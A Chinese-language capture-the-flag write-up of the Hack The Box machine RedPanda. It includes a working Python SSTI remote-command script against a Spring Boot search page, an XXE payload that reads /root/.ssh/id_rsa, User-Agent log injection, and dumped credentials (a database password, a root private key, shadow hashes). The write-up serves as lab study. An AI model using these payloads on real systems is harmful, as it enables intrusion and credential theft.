基本信息

端口扫描

22和8080:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
$ nmap -sC -sV 10.10.11.170
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-19 10:34 CST
Nmap scan report for 10.10.11.170
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Tue, 19 Jul 2022 02:35:51 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en" dir="ltr">
| <head>
| <meta charset="utf-8">
| <meta author="wooden_k">
| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
| <link rel="stylesheet" href="css/panda.css" type="text/css">
| <link rel="stylesheet" href="css/main.css" type="text/css">
| <title>Red Panda Search | Made with Spring Boot</title>
| </head>
| <body>
| <div class='pande'>
| <div class='ear left'></div>
| <div class='ear right'></div>
| <div class='whiskers left'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='whiskers right'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='face'>
| <div class='eye
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date: Tue, 19 Jul 2022 02:35:51 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Tue, 19 Jul 2022 02:35:51 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
|_http-title: Red Panda Search | Made with Spring Boot
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=7/19%Time=62D61887%P=x86_64-apple-darwin20.4.
SF:0%r(GetRequest,690,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;
SF:charset=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Tue,\x2019\x20J
SF:ul\x202022\x2002:35:51\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\
SF:x20html>\n<html\x20lang=\"en\"\x20dir=\"ltr\">\n\x20\x20<head>\n\x20\x2
SF:0\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20<meta\x20author=\
SF:"wooden_k\">\n\x20\x20\x20\x20<!--Codepen\x20by\x20khr2003:\x20https://
SF:codepen\.io/khr2003/pen/BGZdXw\x20-->\n\x20\x20\x20\x20<link\x20rel=\"s
SF:tylesheet\"\x20href=\"css/panda\.css\"\x20type=\"text/css\">\n\x20\x20\
SF:x20\x20<link\x20rel=\"stylesheet\"\x20href=\"css/main\.css\"\x20type=\"
SF:text/css\">\n\x20\x20\x20\x20<title>Red\x20Panda\x20Search\x20\|\x20Mad
SF:e\x20with\x20Spring\x20Boot</title>\n\x20\x20</head>\n\x20\x20<body>\n\
SF:n\x20\x20\x20\x20<div\x20class='pande'>\n\x20\x20\x20\x20\x20\x20<div\x
SF:20class='ear\x20left'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='ea
SF:r\x20right'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='whiskers\x20
SF:left'>\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</div>\n\x20\x20
SF:\x20\x20\x20\x20<div\x20class='whiskers\x20right'>\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></spa
SF:n>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20
SF:\x20</div>\n\x20\x20\x20\x20\x20\x20<div\x20class='face'>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<div\x20class='eye")%r(HTTPOptions,75,"HTTP/1\.1\x2
SF:0200\x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nContent-Length:\x200\r\nDate:
SF:\x20Tue,\x2019\x20Jul\x202022\x2002:35:51\x20GMT\r\nConnection:\x20clos
SF:e\r\n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x2
SF:0text/html;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\
SF:x20435\r\nDate:\x20Tue,\x2019\x20Jul\x202022\x2002:35:51\x20GMT\r\nConn
SF:ection:\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><t
SF:itle>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><st
SF:yle\x20type=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}
SF:\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x
SF:20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-siz
SF:e:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20
SF:{height:1px;background-color:#525D76;border:none;}</style></head><body>
SF:<h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body>
SF:</html>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.95 seconds

8080

一个搜索功能,spring boot:

SSTI

burp之类扫描会提示用到模板,java的SSTI,过滤了 $,可以使用其他符号:

后续就是一步步:

ssti_exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
import requests
from cmd import Cmd
from bs4 import BeautifulSoup

class RCE(Cmd):
prompt = "\033[1;31m$\033[1;37m "
def decimal(self, args):
comando = args
decimales = []

for i in comando:
decimales.append(str(ord(i)))
payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)" % decimales[0]

for i in decimales[1:]:
payload += ".concat(T(java.lang.Character).toString({}))".format(i)

payload += ").getInputStream())}"
data = { "name": payload }
requer = requests.post("http://10.10.11.170:8080/search", data=data)
parser = BeautifulSoup(requer.content, 'html.parser')
grepcm = parser.find_all("h2")[0].get_text()
result = grepcm.replace('You searched for:','').strip()
print(result)

def default(self, args):
try:
self.decimal(args)
except:
print("%s: command not found" % (args))

RCE().cmdloop()

user flag

SSTI执行命令,得到user:

提权信息

代码文件中得到账号密码,ssh方便后续操作:

1
2
3
cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java

conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");

运行pspy64,发现root定期操作,删除特定后缀文件:

在之前的MainController.java中可以看到export.xml 相关代码,涉及到元数据判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {

System.out.println("Exporting xml of: " + author);
if(author.equals("woodenk") || author.equals("damian"))
{
InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
System.out.println(in);
return IOUtils.toByteArray(in);
}
else
{
return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
}
}

另外App.java中/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java 中,可以看到处理元数据的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}

return "N/A";
}

useragent parselog部分:

1
2
3
4
5
6
7
8
9
public static Map parseLog(String line) {
String[] strings = line.split(
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}

提权部分完全不是easy级别,大概流程就是exportxml,元数据用户名,xml XXE

提权

任意一张图片,修改Artist元数据,传上去:

1
2
3
4
5
6
$ exiftool -Artist='../home/woodenk/miao' miao.jpg
1 image files updated

$ scp miao.jpg woodenk@10.10.11.170:.
woodenk@10.10.11.170's password:
miao.jpg 100% 144KB 183.8KB/s 00:00

XXE的xml文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
woodenk@redpanda:~$ pwd
/home/woodenk
woodenk@redpanda:~$ cat miao_creds.xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
<author>damian</author>
<image>
<uri>/../../../../../../../home/woodenk/miao.jpg</uri>
<hello>&ent;</hello>
<views>0</views>
</image>
<totalviews>0</totalviews>
</credits>

然后发起一个请求,useragent注入uri:

1
curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/miao.jpg"

访问stats执行export xml:

然后再去查看我们的XXE xml,已经得到了我们指定读取文件的内容:

root_id_rsa

1
2
3
4
5
6
7
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----

root flag

使用得到的root私钥登录,root:

shadow

1
2
root:$6$HYdGmG45Ye119KMJ$XKsSsbWxGmfYk38VaKlJkaLomoPUzkL/l4XNJN3PuXYAYebnSz628ii4VLWfEuPShcAEpQRjhl.vi0MrJAC8x0:19157:0:99999:7:::
woodenk:$6$48BoRAl2LvBK8Zth$vpJzroFTUyQRA/UQKu64uzNF6L7pceYAe.B14kmSgvKCvjTm6Iu/hSEZTTT8EFbGKNIbT3e2ox3qqK/MJRJIJ1:19157:0:99999:7:::

参考资料